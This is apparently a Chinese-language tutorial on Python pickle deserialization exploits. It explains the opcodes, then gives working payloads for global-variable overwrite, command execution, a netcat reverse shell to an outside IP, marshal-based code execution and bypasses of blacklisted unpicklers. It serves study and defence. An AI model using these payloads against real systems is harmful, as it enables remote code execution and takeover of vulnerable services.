原理
- Python中有两个模块可以实现对象的序列化,
pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些;使用时一般先尝试导入cPickle,如果失败,再导入pickle模块 - pickle的应用场景一般有以下几种:
- 在解析认证token,session的时候(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
- 将对象Pickle后存储成磁盘文件
- 将对象Pickle后在网络中传输
- 漏洞成因:pickle数据是完全可控的,可以用来表示任意对象
方法
pickle.dump(obj, file):将obj对象进行封存,即序列化,然后写入到file文件中,这里的file需要以wb打开(二进制可写模式)pickle.load(file):将file这个文件进行解封,即反序列化,这里的file需要以rb打开(二进制可读模式)pickle.dumps(obj):将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回pickle.loads(data):将data解封,即进行反序列化,data要求为bytes-like object(字节类对象)
关于opcode
opcode,即序列化后的字符,它们都有一定的含义,可以通过编写opcode实现函数执行pickle有6种不同的实现版本,在py3和py2中得到的opcode不相同,但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)
版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode
直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作
抄一个大佬的表格:
opcode 描述 具体写法 栈上的变化 memo上的变化 c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无 N 实例化一个None N 获得的对象入栈 无 S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈 无 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无 I 实例化一个int对象 Ixxx\n 获得的对象入栈 无 F 实例化一个float对象 Fx.x\n 获得的对象入栈 无 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 无 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 无 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无 ) 向栈中直接压入一个空元组 ) 空元组入栈 无 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无 ] 向栈中直接压入一个空列表 ] 空列表入栈 无 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无 } 向栈中直接压入一个空字典 } 空字典入栈 无 p 将栈顶对象储存至memo_n pn\n 无 对象被储存 g 将memo_n的对象压栈 gn\n 对象被压栈 无 0 丢弃栈顶对象 0 栈顶对象被丢弃 无 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 注:
TRUE可以用I表示:b'I01\n';FALSE也可以用I表示:b'I00\n'c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的;即,查值不行,赋值可以,pickle能够索引查值的操作只有c、is、u、b操作符可以构造并赋值原来没有的属性、键值对拼接opcode:将第一个pickle流结尾表示结束的
.去掉,将第二个pickle流与第一个拼接起来即可
大白话版
c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行(:相当于左括号t:相当于右括号S:表示本行的内容一个字符串R:执行紧靠自己左边的一个括号对(即(和t之间)的内容.:代表该pickle结束
序列化与反序列化分析
字符串:
import pickle zj = 'haoye' filename = "haoye" # 序列化 with open(filename, 'wb') as f: # 以二进制可写形式打开haoye这个文件 pickle.dump(zj, f) # 将zj这个变量对应的字符串进行序列化并写入到f中 # 读取序列化后生成的文件 with open(filename, "rb") as f: print(f.read()) # 反序列化 with open(filename, "rb") as f: # 以二进制可读形式打开haoye这个文件 print(pickle.load(f)) # 将这个文件进行反序列化并输出类和对象的反序列化:
import pickle class Test: def __init__(self, name, age): self.name = name self.age = age a = pickle.dumps(Test("lalala", "18")) print(a) # 输出:b'\x80\x04\x958\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06lalala\x94\x8c\x03age\x94\x8c\x0218\x94ub.'详细分析:
读取
\x80,其对应的是PROTO,这里调用load_proto方法,函数内容是读取下一个字符,读取到\x04,这里的含义是表示这是一个根据四号协议序列化的字符串读取
\x95,其对应的是FRAME,这里调用load_frame方法,函数内容是读取八个字符串,这里是:\x00\x00\x00\x00\x00\x00\x00,然后将其值进行二进制字节流转换赋值给current_frame读取
\x8c,其对应的是SHORT_BINUNICODE,对应方法是load_short_binunicode,函数内容是向下读取一位,然后压入栈中,此时:stack:[__main__]读取
\x94,其对应的是MEMOIZE,对应方法是load_memoize,函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},就是{\x08__main}读取
\x8c,向下读取一位然后压入栈中,下一位是\x04Test,此时:stack:[__main__,Test]读取
\x94,将栈中-1对应元素存入memo[1]中,即memo[1]=Test读取
\x93,对应函数是load_stack_global,函数内容是将栈中元素取出一个,作为对象名,这里就是name=Test,接下来再取出一个,作为类名,就是module=__main__,然后压入栈中,此时:stack:[<class '__main__.Test'>]读取
\x94,将栈中-1对应元素存入memo[2]中,就是将上面的字符串保存到memo[2]中读取
),对应的是EMPTY_TUPLE,也就是向栈中加入空元组,此时:stack:[<class '__main__.Test'>,()]读取
\x81,对应函数是load_newobj,弹出()赋值给args,然后将class '__main__.Test'赋值给cls,接下来cls.__new__(cls,*args)实例化对象,由于args为空,所以这里仍然是一个空的Test对象,此时:stack:[<class '__main__.Test'>]读取
\x94,将上面实例化过后的对象存入memo[3]读取
},往栈中压入空的字典,此时:stack:[<class '__main__.Test'>,{}]读取
\x94,将上述字符串存入memo[4]读取
(,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空读取
\x8c,向下读取一位压入栈中,下一位是\x04name(\x04代表name的长度),此时:stack:[name]读取
\x94,此时栈中是name,因此就是memo[5]=name读取
\x8c,向下读取一位压入栈中,这里的话下一位是\x06lalala,此时:stack:[name,lalala]读取
\x94,即memo[6]=lalala读取
\x8c,读取下一位\x03age,此时:stack:[name,lalala,age]读取
x94,即memo[7]=age读取
\x8c,读取下一位\x0218,此时:stack:[name,lalala,age,18]读取
\x94,即memo[8]=19读取
u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.Test'>,{},这里的话就是取出__main__.Test作为字典,接下来进行range遍历__main__.Test[items[0]]=items[1] __main__.Test[items[2]]=items[3] 即: __main__.Test[name]=lalala __main__.Test[age]=18此时:
stack:[<class '__main__.Test'>,{'name':'lalala','age':'18'}]读取
b,对应方法为load_build,弹出{'name':'lalala','age':'18'}赋值给state,弹出class '__main__.Test'赋值给inst,如果inst中存在setstate,就用setstate来处理state,否则就存入inst_dict中读取
.,结束反序列化
此处可以通过
pickletools来查看:import pickle import pickletools class Test: def __init__(self, name, age): self.name = name self.age = age a = pickle.dumps(Test("lalala", "18")) print(a) pickletools.dis(a)
漏洞利用
全局变量覆盖
有一个文件
secret.py,内容如下:flag = 'hao ye!'现在要把它修改成
lalala,需要通过c操作符得到全局变量flag,然后利用b操作符修改属性值即可,构造payload如下:c__main__ secret (S'flag' S'lalala' db.代码:
import pickle import secret payload = '''c__main__ secret (S'flag' S'lalala' db.''' print('before:', secret.flag) # print(payload.encode()) output = pickle.loads(payload.encode()) print('output:', output) print('after:', secret.flag)分析:
- 通过
c获取全局变量flag,然后建立一个字典,并使用b对flag进行属性设置
- 通过
命令执行
__reduce__方法:类似php中的__wakeup()方法,被定义之后,当对象被反序列化时就会触发,作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle,如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用pickle.loads可以解决import 问题,对于未引入的module会自动尝试import,也就是说整个python标准库的代码执行、命令执行函数都可以使用如:
import os import pickle class Test(object): def __reduce__(self): return os.system, ('whoami',) a = Test() payload = pickle.dumps(a) print(payload) pickle.loads(payload)实现反弹shell:
import os import pickle class Test(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 43.143.175.158 6666 -e/bin/sh')",)) a = Test() payload = pickle.dumps(a) print(payload) pickle.loads(payload)
编写opcode实现函数执行
数执行相关的opcode有三个:
R、i、o# R: b'''cos system (S'whoami' tR.''' # i: b'''(S'whoami' ios system .''' # o: b'''(cos system S'whoami' o.'''利用代码:
import pickle payload = b'''cos system (S'whoami' tR.''' pickle.loads(payload)b操作符:b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'详细说明:
- 字符
c,往后读取两行,得到主函数和类,__main__.Test - 字符
),向栈中压入空元祖() - 字符
},向栈中压入空字典{} - 字符
X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__ - 字符
c,向后读取两行,得到函数os.system - 字符
s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.Test:()},__setstate__,os.system - 字符
b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state) - 字符
X,往后读取四位x06\x00\x00\x00whoami,即whoami - 字符
b,弹出元素whoami此时state为whoami,执行os.system(whoami) - 字符
.,结束反序列化
- 字符
利用代码(python3):
import pickle class Test: def __init__(self): self.name = "lalala" a = b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.' b = pickle.loads(a)
任意代码执行
pickle不能序列化代码对象,但是自从 python 2.6 起,Python 提供了一个可以序列化code对象的模块Marshal,如:import pickle import marshal import base64 def code(): import os os.system('whoami') code_pickle = base64.b64encode(marshal.dumps(code.func_code)) print code_pickle利用PVM操作码构造执行输出的base64内容,Python 能通过
types.FunctionTyle(func_code,globals(),'')()来动态地创建匿名函数:code_str = base64.b64decode(code_pickle) code = marshal.loads(code_str) func = types.FunctionType(code, globals(), '') func() # 可以简写为: (types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), ''))()构造对应的PVM操作语句:
import pickle s = """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzLQAAAEQ6XFB5Y2hhcm1Qcm9qZWN0c1xweXRob25Qcm9qZWN0MVxwaWNrbGVcMS5weXQEAAAAY29kZQYAAABzBAAAAAABDAE=' tRtRc__builtin__ globals (tRS'' tR(tR. """ pickle.loads(s)生成payload脚本:
import marshal import base64 def code(): pass # any code here print """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
绕过限制
黑名单绕过
官方给出的安全反序列化是继承了
pickle.Pickler类,并重载了find_class方法常见的是设置了一些黑名单来进行绕过,如:
import pickle import io import builtins __all__ = ('PickleSerializer',) class RestrictedUnpickler(pickle.Unpickler): blacklist={'eval','exec','open','__import__','exit','input'} def find_class(self,module,name): if module == "builtins" and name not in self.blacklist: return getattr(builtins,name) raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))禁用
eval和exec等函数,但getattr没有被ban,可以通过builtins.getattr('builtins', 'eval')来获取eval等黑名单函数构造payload:
builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',) # 构造序列化后的字符串 cbuiltins getattr # 构造出builtins.getattr (cbuiltins dict S'get' #获取到globals中的dict类中的get方法 tR(cbuiltins globals #得到globals() (tRS'builtins' #读取builtins tRS'eval' tRp1 (S'__import__("os").system("whoami")' tR."""
关键词绕过
V操作符绕过:
(S'flag'可以换成(V\u0066lag十六进制绕过:
S操作符可以识别十六进制,因此可以对字符进行十六进制编码:(S'\x66lag'内置函数获取关键字:
通过
sys.modules[xxx]来获取全部属性,然后输出:import secret import sys print(dir(sys.modules['secret']))这里是列表的形式(pickle不支持列表索引),所以用函数
reversed()将列表反序,然后用next()函数指向关键词从而实现输出关键词:import secret import sys print(next(reversed(dir(sys.modules['secret']))))构造序列化后的字符串并验证:
import pickle import secret opcode = b'''(((c__main__ secret i__builtin__ dir i__builtin__ reversed i__builtin__ next .''' print(pickle.loads(opcode))成功输出flag,新的变量覆盖payload:
import pickle import secret payload = b'''c__main__ secret ((((c__main__ secret i__builtin__ dir i__builtin__ reversed i__builtin__ next S'lalala' db.''' print('before:', secret.flag) output = pickle.loads(payload) print('output:', output) print('after:', secret.flag)
pker的使用
pker是以仿照Python的形式产生
pickle opcode的解析器,可以用来进行原变量覆盖、函数执行、实例化新的对象pker主要用到
GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:以下module都可以是包含'.'的子module 调用函数时,注意传入的参数类型要和示例一致 对应的opcode会被生成,但并不与pker代码相互等价 GLOBAL 对应opcode:b'c' 获取module下的一个全局对象(没有import的也可以,比如下面的os): GLOBAL('os', 'system') 输入:module,instance(callable、module都是instance) INST 对应opcode:b'i' 建立并入栈一个对象(可以执行一个函数): INST('os', 'system', 'ls') 输入:module,callable,para OBJ 对应opcode:b'o' 建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)): OBJ(GLOBAL('os', 'system'), 'ls') 输入:callable,para xxx(xx,...) 对应opcode:b'R' 使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用) li[0]=321 或 globals_dic['local_var']='hello' 对应opcode:b's' 更新列表或字典的某项的值 xx.attr=123 对应opcode:b'b' 对xx对象进行属性设置 return 对应opcode:b'0' 出栈(作为pickle.loads函数的返回值): return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)由于opcode本身的功能问题,pker不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr、dict.get)才能进行,但是因为存在s、u、b操作符,作为右值是可以的,即查值不行,赋值可以pker解析
S时,用单引号包裹字符串,所以pker代码中的双引号会被解析为单引号opcode:test="123" return test ---> b"S'123'\np0\n0g0\n."
全局变量覆盖
secret=GLOBAL('__main__', 'secret')
secret.flag='lalala' ---> b"c__main__\nsecret\np0\n0g0\n(}(S'flag'\nS'lalala'\ndtb."
函数执行
通过
b'R'调用:s='whoami' system = GLOBAL('os', 'system') system(s) # `b'R'`调用 return通过
b'i'调用:INST('os', 'system', 'whoami')通过
b'c'与b'o'调用:OBJ(GLOBAL('os', 'system'), 'whoami')多参数调用函数:
INST('[module]', '[callable]'[, par0,par1...]) OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])还有一个要注意的就是有的时候生成的opcode末尾没有
.,就会报错
实例化对象
实例化对象是一种特殊的函数执行:
animal = INST('__main__', 'Animal','1','2') return animal # 或 animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2') return animal # 也可以先实例化再赋值: animal = INST('__main__', 'Animal') animal.name='1' animal.category='2' return animal原文件中需包含:
class Animal: def __init__(self, name, category): self.name = name self.category = category
命令
python3 pker.py < 1.txt
参考链接:
pickle反序列化初探 - 先知社区 (aliyun.com)